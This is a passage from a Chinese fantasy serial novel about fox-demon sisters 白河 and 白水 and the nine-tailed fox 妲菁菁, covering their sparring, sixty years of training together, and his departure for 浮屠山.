但不等白魅开口狡辩,妲菁菁又帮了他,“降神格不同,全看神格所降之人的状态,刚才我本就为了展示血脉,所以我所降神格威严;白水不知所谓,神格也不知所谓;可能白河对我有些许敌意……所以神格带杀意。”
妲菁菁为了消除大妖们的疑惑,说完话后又再次降神格,方圆几百米的动物纷纷炸毛,几只大妖都捏紧了拳头说不出话来,只能盯着妲菁菁。这一次他降的九尾神狐戾气乍现,血红的狐眼虽不及白河的所降神格的杀气浓厚纯粹,但也令在场的大妖们感到惊恐。气氛异常安静,可白河立马打破了这个气氛,妲菁菁一分神,神格微散。
“我没有,只是那会讨厌你压着我妹妹,敌意谈不上,是讨厌!”白河听了他的话立马就开口反驳,妲菁菁的神格也立刻散去。白河分得清“敌意”这个词是个不好的词,她那会也确实没有敌意,那是实打实的生气,可不至于有天杀的敌意。
“……对对……是我的不是……”妲菁菁在神格散去的时候心生余悸,他总觉得哪里不对,可被白河这么冷不丁的开口,莫名其妙的委屈感占据了全部情绪,忘了自己为什么会觉得不对了。
话说到这里,大家身心都轻松了不少。言尽于此,就算还有谁想不明白也得想的明白了,三个能降神格的大妖这么儿戏的给你演示神格原理已经是破天荒,再深究下去也没有意义。白魅不想再把降神格的事情讨论下去了,顺势把话题引到了妲菁菁的身上:“小子,你祖奶奶可好啊?”
妲菁菁其实还想说点什么,但听到白魅问话,还是识趣的压住自己的情绪,接了话:“我祖奶奶都好,镇着一个大山头,虽然不便随意外出,但也清静自在。这次祖奶奶让我来,是想让我烦扰些日子……”
白魅不耐烦的打断了妲菁菁的话,面容带着倦意,说:“唉,我知道你们的意思,说来说去,无非都是想把孩子放在我这里,都对天星转世抱有很大的希望。可不是我妄自菲薄,十五年来,我的两个孩子在修为上普普通通,一直未有大的奇遇,就今天突然降神格,也是我夫妇头一回见到,可你们也看到了,即便是会降神格,她们俩也完全不会控制,哪有降出来懵懵懂懂的神格和凶神恶煞的极端神格?”
无论是追杀天杀星还是想要蹭一杯狐天星神力晋升,白魅被烦了十五年。十五年间,三界大乘修士隔三差五都会有人来拜访他,个别说离得近的大妖们,他们说辞各异,无非就是为了跟着白河白水破境修为那点事。十五年来他也希望白河白水能展现出超乎寻常的妖修行之道,可她俩修行就是普普通通,就算天资聪明的白水也完全是跟着白魅白芊老老实实修炼,太平常了。
“我会降神格,哪里普通?”白河还记得妲菁菁一开始说的话,会降神格那就是上古妖神一脉的,万妖敬畏,她会降神格,那她不应该是普通妖。
“说你们普通,是说你们修为,生存能力,你和白水十五年来刚刚学会化型,从未自己出去猎过食,从未与妖交过手,每天就在这一方天地里,为娘还未教你们为妖之道,和大妖们比,确实有点普通。”白芊听到白魅对俩孩子的评价如此低,本身就不痛快,再听到白河略带天真的反驳,就扎扎实实的瞪了白魅一眼,赶紧哄着两个孩子。
妲菁菁则在旁边默默地听着,觉得不可置信,他其实比白河白水大了十几年。妖族一直都有个说法:妖的年纪和人间算法不同,妖的年纪是从成妖开始算的,成妖百年修一岁,前一百年不算成妖,只能算幼兽。他和白河白水都是幼兽,一般幼兽会在百年内要精通各种法术和生存技能,百年时间积攒修为飞升后从成妖,成妖开始就可以自立门户各自修炼,再按年岁来算自己的年龄。他活到十五年时,虽然法术刚入门,但作为一个妖,捕生斗猎是一定精通的。可他怎么在白魅白芊的口中听到白河白水什么也不会的感觉呢?介于白河的愚钝,他还在琢磨是不是白魅白芊谦虚了。
在场的大妖还在细细琢磨夫妻二人的话,这话他们听了很多次了,可还是再努力寻找其中的破绽,妲菁菁第一次来,好奇感压不住了,直接开口问两姐妹:“十五年了,只会化型?那你们可会用法术?”
“母亲教了一点,我会驭火,姐姐法术差点,还不能灵活运用”白水眼睛上下一动,起身顺着妲菁菁的话就回答了出来。
“那打斗呢?”
“打架还用教?我最会打架,妹妹稍逊,我每次都得让着她”白河瞥了一眼白水,立马站起来站在了妲菁菁正面,跟上了妲菁菁的话。
“我和你们一样,学法术难,练武功苦,也是只会皮毛。不知道两位姐姐所学有几分精通?”妲菁菁不甘心,只好换说法想套话。
“几分精通?我也不知道。但我看你应该挺能打,精通几分不如你来说道说道?”白河其实早就习惯了这个场面,妲菁菁的话就和之前来访的大妖们一样,一步一步紧逼,试探白魅,纵使白魅百般回答,那些妖就是不信,逼得白魅发了火要赶人走,才让大妖们放弃。现在的场景她越听妲菁菁的语气越像那些要妖,横竖就是不舒服,只是今天的她兴趣大开,再听到他也会打架的时候,脑袋瓜里突发奇想,既然听不懂话,那就干脆打走好了。
言毕,白河把攥在手里还没嗑完瓜子猛一把扔向妲菁菁的脸,顺势俯身扫腿功妲菁菁的下盘。妲菁菁反应极快,双手格挡抛开瓜子,并向后撤出几步躲开了白河的进攻。<
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p>几个大妖都默默喝茶没有阻拦,白魅白芊嘴角动了动,也只能默许他俩的打斗。
洞穴空间还算宽敞,小打小闹无伤大雅。妲菁菁立稳身体,双手一抱拳:“承让,白河姐姐小心点”。随即一手红光溢起,对着白河就是一记光刀。但光刀在半路被几个火点一一打散,未伤白河分毫。
白水在妲菁菁续光刀时,也立马对着大厅的灯火柱御火。白魅的洞穴主厅共有二十盏灯柱,每只灯柱燃了三支油烛,油烛是白魅白芊收集已死动物的尸油而炼,耐燃是一回事,更重要的是他俩为了防止别有用心之人对他家使坏心思,专门烧修为炼制的。油蜡的火带着白魅白芊的功力,白水御此火攻击,杀伤力等同白魅白芊的出手力度。油烛平时不轻易使用,但以防万一,只有待客才会全部点着。在白河对妲菁菁动手一开始,白水就已经在大家没有注意到一瞬间退出二人手脚范围外,蓄法驭烛火,白河打,白水守,姐妹俩的配合浑然一体。
此刻白河身法还未施展开,白水有意拉开二人的间距给白河创造机会,于是双手再聚了十余个火球融为一个大火球飘在厅堂正中,火球突然进攻,对着妲菁菁冲过来。妲菁菁也没说话,原地化成九尾狐真身,轻身再向白河跃过去,但火球锁定了妲菁菁,跟着他,速度丝毫不减。白河看到妲菁菁化型,她也立马化型白狐,扑向妲菁菁准备撕咬。
眼看就要撞到白河扑过来的利爪上,妲菁菁又化了人形,红光一闪站在了白河身后侧,可火球马上就要撞过来了,他赶紧提醒白河“白河,化人形躲开。”
白河化狐后是全力扑向妲菁菁的,扑在半空中根本用不上力气躲开,白水的火球也是全力撞向妲菁菁的,也来不及收回来,只是眨眼间,白河被火球冲到冲击到,撞倒了一个灯柱,蜷成了一团,凄惨的叫了一声。
白魅白芊白水再看到火球冲着白河过去时,也立马运功阻拦,但妲菁菁离白河的位置太近了,三只妖做了无用功。白水听到白河惨叫,立马把火球散开归位,快步上前要看姐姐的伤势。
白河的脸被灯柱蹭到了,一道狭长的口子从左上额头贯穿了左眼,疼的她直打滚。
“小儿,过分了!”白芊气的指着妲菁菁大骂起来
“我并不知道白河不会移身躲避,我不是故意的”妲菁菁惶恐的站着,看白河攻击他时手脚速度奇快,根本不像钝感之妖,所以刚刚那一下他是故意冲着白河去的,想利用她抵消些白水的攻击,再去解决白水,但白河躲不开是他想不到的。
白水把白河抱在怀里,刚要开口骂妲菁菁阴险,手里一轻,怀中的白河不见了。一道白光猛的闪到妲菁菁面前。白河已化人形,左眼睛那里那道血淋淋的口子触目惊心,因为左眼沁在血里,全眼通红,有几分狰狞。妲菁菁看着白河这个样子,心有愧疚,正要开口道歉,白河猛起一掌打到了他的胸口,妲菁菁虽然反应过来双手阻拦,但还是被打退,跌坐在后面的座位上。
妲菁菁瞪大了眼睛不明所以的看着白河,白河却开口一笑:“这招确实好用,学会了。”
见缠斗结束,大妖们赶紧起身询问两人伤势。白河抹了抹脸上的血,一脸不在乎,回头就跟白魅说:“让他住着吧,他可太好玩了,今天已经教会我两招,我觉得这人身上还有些东西我能学。”
这话让妲菁菁瞪大的眼睛又瞪的更大了,白河冲他咧咧嘴,双手作揖,狡黠的说:“菁哥,有礼了,我弱小,如果你觉得我不讲道理,你就让让我吧。”
6. 幼兽非大妖 大妖想问道
客气的送走几只大妖,白魅以白河受伤需要静养,在三界放出话来不再接受任何一方人来探访。今天所发生的事情很快就会在三界传开,事情已经发生,白魅也不在乎外界怎么传怎么想,两个孩子降神格无论如何就已经做实了天神的身份,至于这其中的匪夷所思任他们去猜,兵来将挡水来土掩,他白魅夫妻总归是千年大妖,三界这些人的什么心思他稍微动动脑就会理出头绪想出对策。
一直受三界的烦扰,倒是妲菁菁的到来给了他一个思路,即打破了三界一直对两姐妹的暧昧态度,也让白魅需要重新审视这十五年间他一直持观察的眼光看待两个孩子,天星转世也好,红杀星降世也罢,国师那个老东西必然是知道点什么,既然国师藏着,他也藏着,白河白水成妖飞升还有不少年数,时间够了,够他琢磨这其中的细节了。
自从妲菁菁留在灵地,白河白水的成长尤为迅猛。他每天就是跟着白河白水修炼,一边充当陪练的角色,一边又在默默观察白河白水的修为进度。白河白水以妲菁菁半为友半为老师,学习掌握并突破自己的修为上线。妲菁菁是个氏族妖,经过族系传承下来的教育方式,无论是品性还是功力,都比白魅白芊的教出来的白河白水正规太多,近朱者赤近墨者黑,加上白河白水天生的悟性,两姐妹的气质思维已经发生了天一样的转变。反观白魅白芊倒是什么也管不上,插不进来,白芊每日只是以照顾三小只为日常,白魅比以前更忙了,虽然拒绝外界的探访,但早出晚归,甚至几日不回来都已经是常态,三只幼兽的修炼事情也不多问。妲菁菁奇怪过,白魅只答顺其自然,他也不好在深究。
三只幼兽之间的关系越发亲密,不得不说妲菁菁是个好老师,三小只渐渐形养成了一个独属于三人的小体系,以打斗作战为例,妲菁菁做事有规矩,打斗瞻前顾后,身法犀利,在两姐妹的磨练下,进可攻远亦可攻,单打能守,围攻也能突围,全面发展;白水善于思考,受妲菁菁善思的影响,喜欢走一步算十步,不管对手如何总能巧妙化解;白河则是纯进攻版的妲菁菁,无论对方怎么守,她总能找到破绽,招招毙命。三小只对打早就不分上下,联合起来对挑白芊白魅夫妇,也是游刃有余。
时间如流水,妖界不知人间烟火有几重,就已过六旬。除了性格样貌没变,现在的白河白水无论法术、格斗都与妲菁菁不分上下。妲菁菁这些年也有成长,可并没有达到他预想的境地,按照他和祖奶奶的之前讨论的,倚仗天星转世俩姐妹的修炼之法在成妖飞升之时参透成神飞升的奥秘,但白河白水修炼与一般妖无二,还完全是自己教出来的。这不免让妲菁菁有些失望。按照时间来算,妲菁菁再有三年就满一百年,就到幼兽飞升成妖的日子了,白河白水还有十九年,妲菁菁有些着急。
“我说菁哥,你这段时间总是心神不宁的,你要是在分心,小心白河打爆你的头,我可是一点也不会在护着你了。”白水没好气的指责妲菁菁说到。本来是她和白河围攻妲菁菁,她为白河做守,因为妲菁菁的不专注,逼得她为妲菁菁做守,配合躲白河的进攻,这种情况这几天频繁出现,绝对不是白河进攻凶狠的原因,完全就是妲菁菁走神,所以白水有些生气。
白河平静的收起拳脚,抱着手臂歪头看着妲菁菁,像是什么也没察觉到一样。妲菁菁不好意思的安抚了白水两句,转头看着白河问:“白河怎么不好奇呢?”
白河无所谓往身后的树干一靠,懒洋洋的说:“你想说我就听呗,不想说我就不听呗,好奇什么呢?”
妲菁菁皱着眉头苦笑说:“唉,你真的是无欲无求的,这么多年了,从来没见过你主动探究什么,你是真的一点好奇感都没有,我都怀疑你是不是根本没有好奇的概念呐?”
白水在旁边收拾着打落的练功用具,头也不抬的说:“这叫云淡风轻,这叫境界,亏你比我们年长,我看你还是别操心什么成妖飞升了,你好好磨磨心智倒是真的。”
妲菁菁诧异了,问白水:“你现在都能算人心里想什么了?我什么时候说过成妖飞升的事情了?”
白水把几把剑塞进他怀里,不屑的回到:“算?用得着算?你年长我们十四,陪我们修炼了六十年,不就是为了飞升的事情?”
妲菁菁有些局促,他为了飞升的事情不假,但不是幼兽渡劫成妖的飞升,而是修士成神的那一道飞升,其实按照妖修的规则来说,八竿子打不到一处。三界在白河白水降生时就和国师佐证过,说是白河白水是天星转世,是神,幼兽渡劫是大妖,身份不匹配,天星转世成妖兽只是个过渡,真要经历幼兽蜕变也只会飞升成神而不是成妖,所以白河白水的成妖飞升就是成神飞升。而白河白水的这次飞升这就是天道给三界大成修士窥探到飞升成神秘法的机会。这个说法听起来玄乎的很,经不起细节推敲,可偏偏这是得到人皇氏的国师点头的,没有人质疑问天术,就算有人对白河白水飞升即神有疑虑,却一直没人反驳。
妲菁菁来这里接触姐妹俩,一是为自己求神缘,二也是最主要的,就是救他九尾狐一族。其实九尾祖奶奶很疼爱妲菁菁这个小辈孙,她九尾一族自飞升成神有了神脉后,族系发展庞大,可如今只剩了不十几只九尾大妖,枝叶凋零,百年来新出生的小辈也只有妲菁菁一个。九尾一族自远古那位成神后,后辈努力修炼,却没有一个飞升成功的。每逢万年修为飞升渡劫时,他们都会伤亡,一开始只是渡劫失败,近几百年,几乎是每逢飞升就是被天雷打散,九尾一族百思不解。妲菁菁出生后,其父母不听劝阻执意要飞升,夫妻俩想要以双倍修为相互扛天雷渡劫,也没能活下来。老妖狐眼睁睁看着族人一个个灰飞烟灭,她压着恐惧不敢再修炼飞升,活活把自己拖成了妖界年龄最大的万年妖。九尾一族生子本就顺应天时,又经此打击,再无后辈。她唯恐妲菁菁也步族人后尘,才会让他来找白河白水共同修炼,好找到破解办法,就算不能救族人,只顾及他自己也算是保九尾一族不灭。
熬了六十年,妲菁菁在两姐妹这里窥不得丝毫信息,他怎么可能不急。
妲菁菁憋得慌,有些话他实在不好意思开口问,先撇开要遵守天机秘法不得外泄的规则不谈,他和白河白水相处这么久,之间的感情深厚,已然超越了友情,一开始不说明情况,现在挑明来意,他是真的怕俩姐妹会认为他这六十年是虚情假意,他不想,也舍不得。
白水已经收拾好东西往回走了,白河见妲菁菁愣在原地,上前拉住他的衣袖,轻声说:“饿了,菁哥,回去吃饭了。
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妲菁菁这才回过神来,脸色瘟瘟抱着东西的跟上了俩人。妲菁菁思索许久,才小心翼翼的开口到:“如果,我是说如果,我想问你们一件事,这件事就是......怎么说呢,就是带有一点目的,可是,不是那种只有目的纯粹目的,就是好奇,就是求知......”
白水停住了脚步,一脸讥笑的说:“大乱分寸,大乱分寸,菁哥大乱分寸,连话都说不明白了?”
白河上前替妲菁菁把怀里的东西一一摆好,接过白水的话说:“有目的就去做,达到有目的不是问出来的,好奇有什么用呢?”
六十年间,妲菁菁的试探不是一次两次,每当他想方设法的想要问出个什么时,白水总能给他绕过去,白河一接总能压住他那股好奇心,连妲菁菁自己在事后都会莫名很久,可就是没办法。这会白河一接话妲菁菁又平静下来。这么多年来,他始终好奇白河究竟是一种心态,平淡的根本不像个幼兽,不关注所有事情的发生,对事情原因经过不探究,细细回想她似乎也只只接触结果一样。
白水看俩人拉拉扯扯的,嫌弃了翻了个白眼,上前打断了二人,满嘴醋意的对白河说:“你少管他,男女授受大防,讲了你很多次了,我看他心思坏得很,说不出口的事情鬼知道是不是见不得人的”
妲菁菁被误会了,蹭的往后退了几步,手腕上的两对镯子因为妲菁菁慌乱的脚步叮铃碰响,妲菁菁涨红了脸,声调高了不少,说:“我真的服了你,我求求你收收你那聪明劲,以后出去说话别说是跟我学的,一点道理就不讲,我就是想替我族人问问......问问.......”话到嘴边妲菁菁又咽了下去。
白河扬起头,脸色露出久违的笑容,白水嘻嘻哈哈的说到:“哎呦,菁哥脸一红,就跟被踩到了尾巴一样,我瞅瞅是不是白河踩了你尾巴。”
白河也好笑的耸耸肩膀,指着山下说:“你族人有问题,不是来问了我父王,要你这么魂不守舍的?”
妲菁菁的祖奶奶前几天确实遣族人来白魅这里问询妲菁菁的情况,但来去没有大阵仗,和白魅聊了两句和妲菁菁打了照面就走了,以为只是寻常试探,所以没人关注。只是这次不同,那族人根本没走,一连几天都隐在山下等候,白魅这几日的心思不在这里,所以没注意,妲菁菁知道,可是没有开口说过。不管怎么说九尾一族的都是大妖,隐在山下连白芊白魅都没察觉,白河却能指出大概方位,妲菁菁被惊白了脸,他突然发现自己好像也没有那么了解白河的能力。
白水还在嘻嘻哈哈的,站在白河旁边,顺着白河手指的方向做了个夸张的眺望动作,眼角瞥了妲菁菁一下,说:“那只大妖呆了几天了,算算日子,就是从那天起,菁哥开始魂不守舍得,菁哥怎么藏不住秘密呢?”
妲菁菁更郁闷了,他刚才还不确定白河随意一指是不是蒙的,可白水的话就是验证了她俩一直就知道族人在山下的事情。妲菁菁低头想了片刻,和姐妹俩呆了六十年,白水的聪明他见识过了,白河虽然不如白水鬼精的,但是有事也瞒不住她,妲菁菁只觉得两姐妹是知道他的心思了,故意岔开了话,看自己笑话。想到这里,才泄了气一般,低沉的说:“族人是在等我,我可能要回去了。”
7. 菁哥要回家 临别起争端
九尾妖狐想妲菁菁回去,白魅也想,他想赶走妲菁菁不是一天两天了。自从妲菁菁代他夫妻俩教导白河白水后,三小只一天天都黏在一起,他又整天不着家,总感觉俩姐妹和他渐行渐远。尤其白河一天到晚黏着妲菁菁切磋武艺,一问就是和妲菁菁在一起,一问就是去找妲菁菁了,他就气不打一处来,越瞅妲菁菁越不顺眼。现在妲菁菁要回去了,他是最高兴的那个。
算一算年数,妲菁菁再有三年就要成妖自立,成大妖后再留在白狐王这里就没有什么理由了,离开混沌山再回来恐怕得三年或者更久。在和白魅商议过回程日期的前一天,三只小妖在他们曾经第一次见面的小河边休息玩耍,妲菁菁说起了此事。
“阿河阿水,我明天就走了”
“哦,山下的妖就是等你的吧?”白水平静答应着。
“菁哥,你及时还回来灵地?”白河和白水同时问出口。从山下妖不寻常的等候,妲菁菁莫名其妙的状态,她俩就知道妲菁菁要回去了,所以倒也没有那么难接受。
“祖奶奶说是想我了,遣来的族人也没能说明白,但我觉得不单单是想我了,所以得回去看看。我也想回来继续和你们待在一起,但世事无常,我也不知道几时回来。”妲菁菁确实想回来,他比谁都想回来,他还没看明白白河白水给妖族带来得究竟是什么修炼契机。但就像他说的,老妖狐六十年不问进度,突然遣人来唤他,一定是出现了棘手事。万事未知,也就由不得他说什么时候回来了。
“也是,六旬未归,你祖奶奶该是叫你回去,好好修理你了。”白水是颗玲珑心,她听出妲菁菁因离别语气有些难受,所以打趣着让他轻松点。
“菁哥,你当初怎么来的灵地?”白河低头在有的没的摸河边滩上得石头,冷不丁冒出了这句话。
“啊?我飞来的……”妲菁菁有些停顿,说起这个妲菁菁记忆深刻,滔滔不绝起来。妲菁菁祖奶奶镇守的浮屠山在灵地的正西边,与魔界相邻。两山之间相距甚远,中间隔了不下百余座山,百余个城,是妖界最边缘的两座山。灵地地处人界和妖界的接连处,这里是连绵山脉,一半属于人界,一半属于妖界。灵地所属的这一片山域属于妖界,仅是连绵山脉的一小片,叫混沌界,灵地又是混沌界最深的一座小矮山。回想当初自己一个幼兽小妖,不远千里独行,不敢太高调,一路上化人型驾云飞,飞累了化兽型跑一段,马不停蹄的用了小半个月才到灵地,这一路的劳累不敢想。
“嗯,那你回就回吧。我也会飞,你忙你的,我们要是想你了,我带着白水去找你。”白河听完妲菁菁说的,满意的点点头。
“啊?你俩从这里去浮屠山?”妲菁菁就这一会被噎住两次,他搞不明白白河的脑回路。
“是啊,你都是一个来的,我俩不行?”白河还是一副人畜无害的样子,根本没在妲菁菁担心的点上多思考一秒钟。
“太远了,路上不是那么安全的。好好呆着,再有三年,等我自立门户,我看看离这里最近的混沌界还没有山头空着,等我抢到了,你们来找我就方便了。”
“抢?”白河听到抢就抬头好奇的望向妲菁菁。
“是啊,不然怎么办,你们修为尚浅,去浮屠山,万一进了别的大妖的地盘,一言不合打起来,轻则受伤,重则会丧命。”妲菁菁后半句一点也不假,妖界规则弱肉强食,没有尊老爱幼,只要闯了大妖地盘,管你幼兽还是什么的,必起纷端。
“我看你来灵地,我父王也没有怎么为难你啊。”白水知道这个道理,但妲菁菁说的也太凶残了,不免让她怀疑他夸大其词。
“不一样。灵地是妖界统一让与你们的,那几年你父王并不拦客,我来灵地看望你们本就正常。再说,我好歹也是九尾神妖后裔,你父王是个谨慎人,不可能恶交我族的。”
“你能自立门户,我们也能吗?”白河没把妲菁菁和白水的话听进去,但是对自立门户感兴趣的很,抢就意味着打架,听到打架她就有点小兴奋。
“能。一般幼兽成妖有了能力都会自立门户,不然几只妖在一个地方修炼,灵气分散,修炼会慢。”
“嗯,知道了。菁哥早点回去,把你祖奶奶照顾好。”白河听到这里,已经有了想法,就不想多问了,才转开了话题,回到了妲菁菁要回去的事情上。
“你们真的还小,白狐王是不会放心你们出去的,好好呆着,在修炼修炼出山也不迟。”妲菁菁太了解白河了,深怕白河以为这是一件好玩的事,赶忙补了一句。但白河白水偷偷两人对视了一下,都沉默没有回答。
晚间十分,五只妖聚在一起吃饭,因为妲菁菁明天要走,这一桌很是丰盛,白芊花了不少心思,捕了不少野味,采了很多山珍。
“小子,明天回去时路上别太累,记得帮我和九尾老狐王问个好。”白魅招呼着妲菁菁。
“今天多吃点,我都不知道你什么时候回来。”这会白芊压着难受的心情,语气多少有些低沉,白芊没有白魅那么嫌弃妲菁菁,她与妲菁菁相处时间多,早就把他看成了自己的孩子一样,妲菁菁要回去,她还有些舍不得。再有不舍,她也不能强留,只能端起妲菁菁的碗,一个劲往里面夹菜。
“祖奶奶那边应该是有什么棘手事情,这一回去,我实在是不知道什么时候会再来。谢谢两位前辈照顾我这么久”妲菁菁起身双手接过白芊加满菜的碗,安慰着白芊。
“都快自立门户的大妖了,说话这么絮叨,菁哥怎么跟个小孩一样啊”白水接过碗,谢过母亲后,不想让饭桌上这么凄凉,打趣起妲菁菁。白河眼巴巴看着白芊夹了那么菜,自己和白水的就是两碗白饭,于是倔强的又把碗举给白芊,等着夹菜,没说话。
按理,以人间年龄算,他们三个都是古稀老人,但在妖界他们都是还未入世的孩子,未自立门户前,还是化型十几岁孩子的模样。所以从表面上看,这话出自一个垂髫小孩之口,略显滑稽。白芊被白河白水现世宝的样子逗得一愣一愣的,一桌子的人你看看我我看看你,都不好意思的笑了,刚刚还略显低沉的气氛欢乐起来。
“吃饭吧,吃饱了回去的路上不会太辛苦,我和白水还要等你自立门户呢”白河手拿筷子不满的戳了戳白芊夹给自己的一块肥瘦相间的肉,等着白魅白芊动筷子。
“是咯,小子快要成妖自立门户了,以后修炼的路全靠自己了。”白魅夹了块肉放进嘴里。
白河白水等着百魅动了菜,跟着扒拉起饭菜,也没再瞧妲菁菁。
“前辈说的是,我今天还在和白河白水说起来,等我在混沌界扎了山头,我随时都可以来找你们”妲菁菁一边小心的端起碗,一边回了白魅的话。
“哦?这些年能在混沌界扎山头的都是有资历大妖,小子有想法呀。”白魅语气轻松。这些年因为白河白水在这里,大妖们为了能
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最早得成神的先机,早就把周围的山头占了个干净,妲菁菁是九尾神妖后裔不错,但他终归是小妖,才出世就想在大妖手底下抢山头,初生牛犊不怕虎。
妲菁菁低头吃饭,心不在焉的嗯了一声,说起来,确实有难度,但他有自己的办法,这会儿不好说。
白河咽下去一大口肉,抬头看着白魅,认真的说到:“我也要自己门户,就在咱隔壁山头,我再有十七年就成妖了。”
白魅和白芊都闻言都停下了手里的筷子,白芊脸色略难看:“你还有时间,现在说这个太早了。”
“假以时日,先筹谋嘛”白水看着白魅白芊脸色微变,赶紧接话。
“不早了,混沌界大妖我又不是没见过,菁哥可以,那我也想想试试。再说混沌界抢不到,那离得不远的山头多的是,总要抢的嘛”白河一脸不在乎。
白魅这会脸色越发难看,看向妲菁菁,问到“你小子教唆的她俩?翅膀真是硬了”
“白狐王,我不知道她俩的意思啊”妲菁菁也一脸懵逼的看着姐妹俩,对白魅突然的变脸更懵逼了。成妖自立门户,大妖们开心都来不及,白魅和白芊却像见鬼一样不可思议,他越发不懂白魅俩夫妻了。
“菁哥能,为什么我们不能?我现在不比他差”白河也不解白魅的不开心。
“你们俩是不比他差,可你们俩什么情况,他什么情况?真是不知险恶”白魅话语间已有怒气。
“妖族不是一直敬畏你,灵地也是他们让的,父王这么担心我们,莫非他们要害我们不成?”白水眼看白魅越来越气,赶紧回话平息他的怒火。
“好了,妖界不是灵地的小山头,你们才见过几个,外面的这些妖什么心思我们也不知道,但要有防畏之心。你也是,好好的吃饭,讲这些做什么。”白芊听到白水问话,原本还不平静的神色突然平静下来,又忽然温柔的说起白魅不是,白魅脸色的怒气也随着白芊平静下来。
他叹口气,加了一块鸡腿放在白水碗里,轻声说:“你们就是小,不知天高地厚,长大了也不省心。慢慢来吧,为父还能绑你们一辈子不成?自立门户这事说小不小,说大不大,从长计议,你们有充裕时间慢慢来。吃饭吧。”
白魅白芊的态度转变很快,白水妲菁菁都有点不知所措,只得低头吃饭。白河仍旧不言语,几口就吃干净了碗里的饭,端坐着,看向妲菁菁,眼神闪烁道:“菁哥,明天你肯定一早就出发回去了,我和白水就不送你了,你路上小心。”妲菁菁刚要回话,白河没给他开口机会,又紧接着说到:“但今晚你有道坎过不去,前几天我没能破你那招九尾独招,我不服气,你赶紧吃完饭,我已经想到了破解办法。”
“啊?破解办法?”妲菁菁头都大了,打了几十年,他什么招都被白河破了,唯独九尾一族的独门绝技让他找回了面子,这也能让她破解了?
“对,白河和我研究了不少时日,你等着。”白水也飞速扒拉着饭,头都不抬的认可白河的话。
白芊听着笑道:“怎么跟俩皮猴子一样,一天天总想着要打过小菁子。最后一天也不放?”
“不碍事不碍事,打吧打吧,我是不信的。”妲菁菁突然开了窍,明白了白河白水的话中有话,赶紧低头扒拉饭,应付了一声。
待三小只打打闹闹出了门,白魅白芊刚刚还温和的脸色瞬间严肃起来,两只妖心思已经不在饭上,若有所思。
8. 送别九尾妖 初晓浮屠山
才出门,三人就缠斗在一起。白河看似猛攻实则收力;白水左右骚扰,又守又攻;妲菁菁见招拆招,连连后退。三人打的根本不停歇,战场也随着打斗进度不断移动,不一会儿功夫,三小只就打到了灵地山脚下,停了下来。
“唬我?我九尾族独招你们破不了的。”妲菁菁打累了,坐在石头上喘着粗气说:“说吧,拿我做幌子,这么晚不会就为了跑下山吧?想干嘛呀你俩?”
“没唬你,真能破。”白河边回应着边站稳脚步,抬头看向山顶,隐约能看到一个影人站在自家亮了灯木屋前,但一阵风吹过,人影又看不见了。
“你那个族人不肯上山接你,眼巴巴在混沌界边缘候着。你也别磨蹭想着明早走了,现在就走吧。怕你晚上看不见路害怕,现在我俩就送送你,我们可不送出混沌界哈。”白水收神拢了拢两鬓的碎头发,看也没看山顶,起法手中多了一盏通亮的火球,带头向山外走去。
这会儿气氛有些诡异,妲菁菁把话咽下了肚子里,缓过气跟白水往外走。白河安静的又往山顶上瞅了几眼,最终是没看到什么,低头摇了摇头,也跟了上来。
出山决定很突然,妲菁菁没有行李,当初他来的时候就是只身一只妖,走的时候干干净净也是一只妖。三只妖行如一阵风似的,话都不多,妲菁菁有一句没一句的叮嘱两人勤修炼,白水也有一句没一句让妲菁菁多给她俩来信,只有白河仍旧是一言不发紧紧跟在俩人身后。
混沌界山多连绵,两姐妹头一次出灵地却一点不害怕。妲菁菁一开始还戒备着,怕路过大妖地盘会惹大妖拦路问询,但渐渐的他就发现多虑了。三只狐妖夜行山路本来就轻松,又逢晴天,星月亮堂,按理根本就用不上灯火,可白水手上飘的那团火始终没有灭过,路上倒也零星见过几只巡山的小妖,可只是远远看到他们三个就转头消失了,也没有后续。妲菁菁觉得这一路实在是顺,跟他来时的情况天壤之别。
一路疾行,再远的路都有走完的时候。天刚放亮,他们也快走出混沌界最后一座山了。出混沌界就是一望无际的平原,在山界边缘一颗树下,有一只一人大的白狐卧息,隐隐还能看到它裹着身子的几只尾巴,看不出有几尾,但妲菁菁只是远远看了一眼确定就是一直在等他的族人。
待他们在走近点,那只白狐已经化了人形,一个看起来三十多岁的妇人模样,虽然离得远,但给人的感觉就和妲菁菁一样,眉眼精致,是个好看的妇人。她往前迎了一段距离就停住不动了。三人又继续走了十几步,终于是聚到一起。妇人笑容很平静,定定站着,恭敬朝三人行了礼。
“好了,再往前走就出了混沌界,你们就送到这里吧”妲菁菁止住了两人。
“嗯,就送你到这里”白水一边回话,一边收了手里的火团。
“她有什么顾虑?走一半又停住,怎么跟你一样小心翼翼的”白河看着的妇人平静的样子,不像是害怕什么,很是奇怪。
妇人没有回答白河的话,妲菁菁倒是接话说到:“混沌山都是大妖,各自占据一个山头,人家的地盘,外人出山入山哪有那么自由,她不想惹麻烦罢了。”
“你之前来我们这里,也这么小心翼翼的?”白河又问。
“是啊,虽然大妖们会讲理,但也免不了被盘问,麻烦得很。再说你干个什么事,喜欢众所周知?”一想到白河大言不惭就说要去浮屠山找他,妲菁菁没好气的怼着白河。
白河被妲菁菁怼着哑口无言,她瞪了一眼妲菁菁,侧身后退一步,起脚就踹了他一下,妲菁菁没有防备,膝盖一弯险些跪在地上。白水看他俩闹起来,转而一笑,接话道:“你们就喜欢藏藏掖掖,有什么事不能正大光明的做,有什么话又不能正大光明的说呢?”这话看似在指责妲菁菁,只是白水说完又笑眯眯的看着妇人,话中有话是吧,她白水也会。
妇人欠身弯了弯腰,笑眯眯的说:“见过两位,都是聪明孩子。我确确实实是来接菁菁的。但看到两位,想起来祖奶奶总是叨念你们俩,不止一次提过想要你们去浮屠山玩。白狐王爱护你们的很,责备了我们几次,想来也是不方便,所以就不再说了,这倒是才想起来。”
妲菁菁站好身子,止住了打闹,皱起眉头说:“祖奶奶叨念她俩做什么,两个幼兽走这么远的路,真就是胡闹呢。怎么没跟我提过?”
妇人摆摆手,笑容不减的说:“人家父王都回绝了,跟你再提做什么,白狐王修行这么高,护着孩子去浮屠山都是轻松事,他这都有所顾虑,那还有什么余地呢?”
白河听到这里,歪头嗤笑了一声,眯着眼睛抿嘴笑着说:“所以我父王是回绝了很多次啊,看来确实担心我们呢。”
白水也笑着说:“要不是送菁哥,这事我们都不知道呢。说来吧,我倒是很想见见祖奶奶,我敢保证祖奶奶肯定会喜欢上我们俩的。”
白河想了想接着问到:“浮屠山有什么好玩的吗?”
妇人掩嘴一笑,说:“浮屠山可不像混沌界这么有生机,常年青绿,那里终年落雪,景色也别有一番风味。”
